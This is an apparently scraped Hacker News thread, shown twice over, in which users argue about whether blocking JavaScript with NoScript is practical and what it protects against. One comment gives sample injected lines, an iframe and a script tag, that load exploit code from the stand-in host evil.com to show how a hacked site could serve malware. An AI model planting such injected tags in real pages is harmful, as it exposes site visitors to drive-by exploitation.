5 ms·

And not a single modern website will run either. If you're willing to disable javascript in 2015, you might as well not use Internet at all.

by solen 12y ago

rudolf0 12y ago
Yes, which is why NoScript allows fine-grained controls. It's not a straight up disabling of Javascript. You whitelist the sites you trust. Then if any of those sites get hacked, there will likely be a line added like <iframe src="http://evil.com/exploit.html"> http://evil.com/exploit.html">, or <script src="http://evil.com/exploit.js"></script> http://evil.com/exploit.js"></script>. NoScript will always prevent those since whitelists are domain-specific. So unless the malicious Javascript is added 100% inline on the compromised site (which is easy to do, but is done less often for a variety of reasons), you're going to be safe. And, obviously, you do not whitelist random sites you click off of Google searches or from emails without validation.
- ZitchDog 12y ago
  So, most sites won't work, and the ones that do work will still be vulnerable? Awesome.
  - rudolf0 12y ago
    They're vulnerable if you whitelist them and they get hacked and exploit code is sent directly in the HTTP response. Just like how HTTPS (and HSTS and certificate pinning) does nothing for you if the server is compromised. If you're careful about what you whitelist, NoScript adds a lot of additional security.
- eeeeeeeeeeeee 12y ago
  It definitely improves security, but you'll still be screwed against a targeted attack against a specific website. The attack against Forbes.com is a good example. That is a site you would have whitelisted and the attackers compromised that website to then elevate access to the people browsing that site (government employees specifically targeted). http://www.forbes.com/sites/thomasbrewster/2015/02/10/forbes-com-hacked-in-november-possibly-by-chinese-cyber-spies/ http://www.forbes.com/sites/thomasbrewster/2015/02/10/forbes...
  - rudolf0 12y ago
    I work in incident response and actually investigated that watering hole firsthand at our organization. The SWF was hosted on a separate domain, so NoScript in fact would have prevented that specific attack from working even if you whitelisted forbes.com. NoScript will very often block exploit chains from occurring even if it won't necessarily always block stage 1.
comrh 12y ago
That seems pretty hyperbolic. There are plenty of reasons to not use javascript.
userbinator 12y ago
Then perhaps the problem is with "modern" sites superfluously using JS. The majority of sites that I've come across from casual browsing (usually via Google search) don't need it to display the content I'm looking for, and when I do find one that does and Google's cached version doesn't contain what I'm looking for, it's almost certain that I'll just move on to the next search result.
- PhantomGremlin 12y ago
  Another trick to try: If you use Firefox, then often you can see the contents of a site by View -> Page Style -> No Style. Other than that, I agree with you. I never enable JS for a random site, I also "move on to the next search result".
le_lenny_face 12y ago
Saying that using NoScript means disabling Javascript wholesale is like saying using SELinux or AppArmor means disabling filesystem access wholesale. It's a disingenuous and silly argument.
arielby 12y ago
Enough of the internet works for me with `javascript.enabled` set to false.
Amezarak 12y ago
> And not a single modern website will run either. I find that the vast majority of websites run perfectly fine with NoScript. What exactly qualifies as a modern website? Even if they do "require" JS, you can enable one or two of the scripts that are actually necessary and keep the 22 ad/tracking/various-other-third-party scripts disabled to minimize the attack surface.
z3t4 12y ago
I have JS turned off due to paranoia. And surprisingly, most web sites Do work without it! I also do not miss all the ads and other annoying stuff. Even budget servers now a day can handle thousands of requests per second, so there is no benefit in offloading "server stuff" to the browser client. I do have to add some sites to the white list though.
wtbob 12y ago
> And not a single modern website will run either. If you're willing to disable javascript in 2015, you might as well not use Internet at all. Please take a long walk off of a short pier. People who require code execution in order to read data are, quite simply, wrong. In fact, since as we see forcing one's readers to become one's users by allowing JavaScript necessarily means exposing those users to malware exploitation, people who require code execution in order to read data are evil.
- icebraining 12y ago
  Nonsense. Even PNG images have been used for attacking browsers. Code is data, data is code. Both are interpreted, and both have exploitable flaws.
- dang 12y ago
  > Please take a long walk off of a short pier. Please don't post comments like this to Hacker News. https://news.ycombinator.com/newsguidelines.html https://news.ycombinator.com/newsguidelines.html https://news.ycombinator.com/newswelcome.html https://news.ycombinator.com/newswelcome.html
PhantomGremlin 12y ago
Perhaps HN isn't "modern" but it runs great w/o Javascript.
bsder 12y ago
For me, the big win of things like NoScript is that I can block the zillion websites OTHER than the one I'm actually trying to view. This has the upside of making my web browsing amazingly fast because it stops the 50 DNS queries that every page makes. Forbes.com is mentioned, here's what else is on that web page after enabling forbes.com: Blacklisted: doubleclick.net, optimizely.com, bluekai.com, scorecardresearch.com, googletagmanager.com Other: forbesimg.com, gigya.com, sail-horizon.com, amazon-adsystem.com, media.net, garble.cloudfront.net, chartbeat.com, mediavoice.com, ............. Do YOU trust that ALL of those sites got their Javascript secure? BWHAHAHAHAHAHAHAHAHAHA! And, let's not even start with all the people who run "Blogoblather 0.4.5" (it will never reach 1.0) who could just post a static web page. No, I don't want to discuss this, and no I'm not logging in. Oh, and, gee, if it were a static web page, if you do get featured on Reddit, YOUR SERVER WON'T FALL OVER AND DIE accessing a database that doesn't have any comments other than spam anyway.
adrianN 12y ago
I run NoScript. Most websites are just fine.
deleted 12y ago
[deleted]
hollerith 12y ago
That's a bit of a defeatist attitude. I prefer to believe that bad decisions about our civilization's communications infrastructure can be reversed.

And not a single modern website will run either. If you're willing to disable javascript in 2015, you might as well not use Internet at all.

by solen 12y ago

And not a single modern website will run either. If you're willing to disable javascript in 2015, you might as well not use Internet at all.

rudolf0 12y ago

Yes, which is why NoScript allows fine-grained controls. It's not a straight up disabling of Javascript. You whitelist the sites you trust. Then if any of those sites get hacked, there will likely be a line added like <iframe src="http://evil.com/exploit.html"> http://evil.com/exploit.html">, or <script src="http://evil.com/exploit.js"></script> http://evil.com/exploit.js"></script>. NoScript will always prevent those since whitelists are domain-specific. So unless the malicious Javascript is added 100% inline on the compromised site (which is easy to do, but is done less often for a variety of reasons), you're going to be safe. And, obviously, you do not whitelist random sites you click off of Google searches or from emails without validation.

ZitchDog 12y ago
So, most sites won't work, and the ones that do work will still be vulnerable? Awesome.
- rudolf0 12y ago
  They're vulnerable if you whitelist them and they get hacked and exploit code is sent directly in the HTTP response. Just like how HTTPS (and HSTS and certificate pinning) does nothing for you if the server is compromised. If you're careful about what you whitelist, NoScript adds a lot of additional security.
eeeeeeeeeeeee 12y ago
It definitely improves security, but you'll still be screwed against a targeted attack against a specific website. The attack against Forbes.com is a good example. That is a site you would have whitelisted and the attackers compromised that website to then elevate access to the people browsing that site (government employees specifically targeted). http://www.forbes.com/sites/thomasbrewster/2015/02/10/forbes-com-hacked-in-november-possibly-by-chinese-cyber-spies/ http://www.forbes.com/sites/thomasbrewster/2015/02/10/forbes...
- rudolf0 12y ago
  I work in incident response and actually investigated that watering hole firsthand at our organization. The SWF was hosted on a separate domain, so NoScript in fact would have prevented that specific attack from working even if you whitelisted forbes.com. NoScript will very often block exploit chains from occurring even if it won't necessarily always block stage 1.

comrh 12y ago

That seems pretty hyperbolic. There are plenty of reasons to not use javascript.

userbinator 12y ago

Then perhaps the problem is with "modern" sites superfluously using JS. The majority of sites that I've come across from casual browsing (usually via Google search) don't need it to display the content I'm looking for, and when I do find one that does and Google's cached version doesn't contain what I'm looking for, it's almost certain that I'll just move on to the next search result.

PhantomGremlin 12y ago
Another trick to try: If you use Firefox, then often you can see the contents of a site by View -> Page Style -> No Style. Other than that, I agree with you. I never enable JS for a random site, I also "move on to the next search result".

le_lenny_face 12y ago

Saying that using NoScript means disabling Javascript wholesale is like saying using SELinux or AppArmor means disabling filesystem access wholesale. It's a disingenuous and silly argument.

arielby 12y ago

Enough of the internet works for me with `javascript.enabled` set to false.

Amezarak 12y ago

> And not a single modern website will run either. I find that the vast majority of websites run perfectly fine with NoScript. What exactly qualifies as a modern website? Even if they do "require" JS, you can enable one or two of the scripts that are actually necessary and keep the 22 ad/tracking/various-other-third-party scripts disabled to minimize the attack surface.

z3t4 12y ago

I have JS turned off due to paranoia. And surprisingly, most web sites Do work without it! I also do not miss all the ads and other annoying stuff. Even budget servers now a day can handle thousands of requests per second, so there is no benefit in offloading "server stuff" to the browser client. I do have to add some sites to the white list though.

wtbob 12y ago

> And not a single modern website will run either. If you're willing to disable javascript in 2015, you might as well not use Internet at all. Please take a long walk off of a short pier. People who require code execution in order to read data are, quite simply, wrong. In fact, since as we see forcing one's readers to become one's users by allowing JavaScript necessarily means exposing those users to malware exploitation, people who require code execution in order to read data are evil.

icebraining 12y ago
Nonsense. Even PNG images have been used for attacking browsers. Code is data, data is code. Both are interpreted, and both have exploitable flaws.
dang 12y ago
> Please take a long walk off of a short pier. Please don't post comments like this to Hacker News. https://news.ycombinator.com/newsguidelines.html https://news.ycombinator.com/newsguidelines.html https://news.ycombinator.com/newswelcome.html https://news.ycombinator.com/newswelcome.html

PhantomGremlin 12y ago

Perhaps HN isn't "modern" but it runs great w/o Javascript.

bsder 12y ago

For me, the big win of things like NoScript is that I can block the zillion websites OTHER than the one I'm actually trying to view. This has the upside of making my web browsing amazingly fast because it stops the 50 DNS queries that every page makes. Forbes.com is mentioned, here's what else is on that web page after enabling forbes.com: Blacklisted: doubleclick.net, optimizely.com, bluekai.com, scorecardresearch.com, googletagmanager.com Other: forbesimg.com, gigya.com, sail-horizon.com, amazon-adsystem.com, media.net, garble.cloudfront.net, chartbeat.com, mediavoice.com, ............. Do YOU trust that ALL of those sites got their Javascript secure? BWHAHAHAHAHAHAHAHAHAHA! And, let's not even start with all the people who run "Blogoblather 0.4.5" (it will never reach 1.0) who could just post a static web page. No, I don't want to discuss this, and no I'm not logging in. Oh, and, gee, if it were a static web page, if you do get featured on Reddit, YOUR SERVER WON'T FALL OVER AND DIE accessing a database that doesn't have any comments other than spam anyway.

adrianN 12y ago

I run NoScript. Most websites are just fine.

deleted 12y ago

[deleted]

hollerith 12y ago

That's a bit of a defeatist attitude. I prefer to believe that bad decisions about our civilization's communications infrastructure can be reversed.